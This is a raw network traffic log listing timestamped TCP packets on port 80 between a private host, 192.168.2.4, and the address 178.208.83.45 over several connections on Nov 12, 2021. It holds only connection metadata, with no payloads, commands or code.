Nov 12, 2021 22:24:20.817780018 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.817786932 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.817799091 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.817863941 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.817917109 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.817995071 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.818023920 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.840399027 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.840420008 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.840429068 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.840440989 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.840450048 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.840522051 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.840533972 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.840543985 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.840595007 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.840621948 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.841586113 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.841600895 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.841609955 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.841721058 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.863059044 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.863063097 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.863065958 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.863076925 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.863094091 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.863112926 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.863120079 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.863126040 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.863212109 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.863225937 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.863234043 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.863240957 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.863295078 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.863315105 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.863574982 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.866573095 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.866589069 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.886492968 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.886524916 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.886533022 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.888509035 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.888621092 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.910048962 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.911158085 CET	50144	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.932495117 CET	80	50143	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.932615995 CET	50143	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.933595896 CET	80	50144	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.933746099 CET	50144	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.934299946 CET	50144	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:20.957107067 CET	80	50144	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.961424112 CET	80	50144	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:20.961536884 CET	50144	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.077703953 CET	50144	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.078809023 CET	50145	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.100279093 CET	80	50144	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.100375891 CET	50144	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.102364063 CET	80	50145	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.102471113 CET	50145	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.102976084 CET	50145	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.125504971 CET	80	50145	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.130384922 CET	80	50145	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.130712986 CET	50145	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.238570929 CET	50145	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.239747047 CET	50146	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.262465954 CET	80	50145	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.262485981 CET	80	50146	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.262583017 CET	50145	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.262674093 CET	50146	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.263261080 CET	50146	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.287679911 CET	80	50146	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.292978048 CET	80	50146	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.293128014 CET	50146	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.411427021 CET	50146	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.423130035 CET	50147	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.434286118 CET	80	50146	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.434380054 CET	50146	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.447964907 CET	80	50147	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.448066950 CET	50147	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.448810101 CET	50147	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.472528934 CET	80	50147	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.477171898 CET	80	50147	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.477273941 CET	50147	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.582803011 CET	50147	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.584003925 CET	50149	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.609956980 CET	80	50147	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.610059977 CET	80	50149	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.610145092 CET	50147	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.610224009 CET	50149	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.611221075 CET	50149	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.635616064 CET	80	50149	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.643166065 CET	80	50149	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.643459082 CET	50149	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.767376900 CET	50149	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.768898964 CET	50150	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.770178080 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.789813995 CET	80	50149	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.790011883 CET	50149	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.791327000 CET	80	50150	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.791973114 CET	50150	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.792020082 CET	50150	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.792399883 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.792505026 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.792907000 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.792993069 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.793184996 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.793258905 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.814482927 CET	80	50150	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.815197945 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.815233946 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.815457106 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.815490961 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.815552950 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.815561056 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.815583944 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.815587997 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.815617085 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.815623045 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.815633059 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.815642118 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.815644979 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.815669060 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.815673113 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.815697908 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.815718889 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.815768957 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.815797091 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.815820932 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.815861940 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.815867901 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.815931082 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.818232059 CET	80	50150	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.818316936 CET	50150	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.837996960 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838052988 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838085890 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838126898 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838131905 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838156939 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838164091 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838167906 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838193893 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838198900 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838232994 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838242054 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838265896 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838272095 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838301897 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838309050 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838340998 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838346004 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838367939 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838376999 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838402033 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838407993 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838433981 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838438988 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838465929 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838473082 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838498116 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838505983 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838529110 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838537931 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838567972 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838608027 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838665009 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838720083 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838721037 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838749886 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.838776112 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.838799000 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.862943888 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.862962961 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.862971067 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.862984896 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.862993956 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863003016 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863010883 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863024950 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863032103 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863044977 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863051891 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.863054037 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863065958 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863075018 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863085985 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863095045 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863097906 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.863106966 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863116026 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863126993 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863137007 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863146067 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863153934 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863162994 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863174915 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863183975 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863209963 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863228083 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863243103 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863260984 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863276958 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863291979 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863308907 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863325119 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863339901 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863357067 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863372087 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863388062 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863405943 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.863420963 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.885705948 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.885754108 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.885771036 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.885783911 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.885799885 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.885814905 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.885859013 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.885875940 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.885890961 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.885905027 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.885983944 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.886001110 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.886014938 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.886029005 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.888654947 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.888780117 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.928762913 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.929081917 CET	50150	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.930231094 CET	50152	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.951143026 CET	80	50151	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.951241970 CET	50151	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.951467991 CET	80	50150	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.951613903 CET	50150	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.952580929 CET	80	50152	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.952661037 CET	50152	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.953377008 CET	50152	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:21.975671053 CET	80	50152	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.979717970 CET	80	50152	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:21.979804993 CET	50152	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.134177923 CET	50152	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.156743050 CET	80	50152	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.156820059 CET	50152	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.157618046 CET	50153	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.179969072 CET	80	50153	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.180155993 CET	50153	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.180668116 CET	50153	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.202975035 CET	80	50153	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.206614971 CET	80	50153	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.206707954 CET	50153	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.316937923 CET	50153	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.318980932 CET	50154	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.339587927 CET	80	50153	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.341331959 CET	80	50154	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.341468096 CET	50153	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.341592073 CET	50154	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.342566013 CET	50154	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.364948988 CET	80	50154	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.368038893 CET	80	50154	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.368504047 CET	50154	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.473251104 CET	50154	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.474451065 CET	50155	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.495743990 CET	80	50154	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.496790886 CET	80	50155	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.496898890 CET	50154	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.496963978 CET	50155	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.497692108 CET	50155	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.519979954 CET	80	50155	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.524527073 CET	80	50155	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.524715900 CET	50155	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.629754066 CET	50155	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.632157087 CET	50156	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.652173042 CET	80	50155	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.652287006 CET	50155	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.654683113 CET	80	50156	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.654794931 CET	50156	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.656893969 CET	50156	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.662036896 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.679477930 CET	80	50156	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.682028055 CET	80	50156	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.682120085 CET	50156	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.684587955 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.684772015 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.685765982 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.685866117 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.686041117 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.686117887 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.708364964 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.708408117 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.708462000 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.708487988 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.708535910 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.708544016 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.708568096 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.708578110 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.708595991 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.708627939 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.708668947 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.708699942 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.708718061 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.708734035 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.708750010 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.708766937 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.708770990 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.708807945 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.708843946 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.731100082 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731189013 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.731200933 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731215954 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731230021 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731242895 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731254101 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731333017 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.731344938 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731363058 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731374025 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731396914 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.731443882 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731446028 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.731462002 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731478930 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731501102 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.731506109 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731523991 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731543064 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.731564999 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.731570005 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731587887 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731600046 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.731616974 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731620073 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731627941 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.731647015 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.731708050 CET	50157	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:22.753845930 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.753878117 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.753891945 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.753907919 CET	80	50157	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:22.753950119 CET	80	50157	178.208.83.45	192.168.2.4
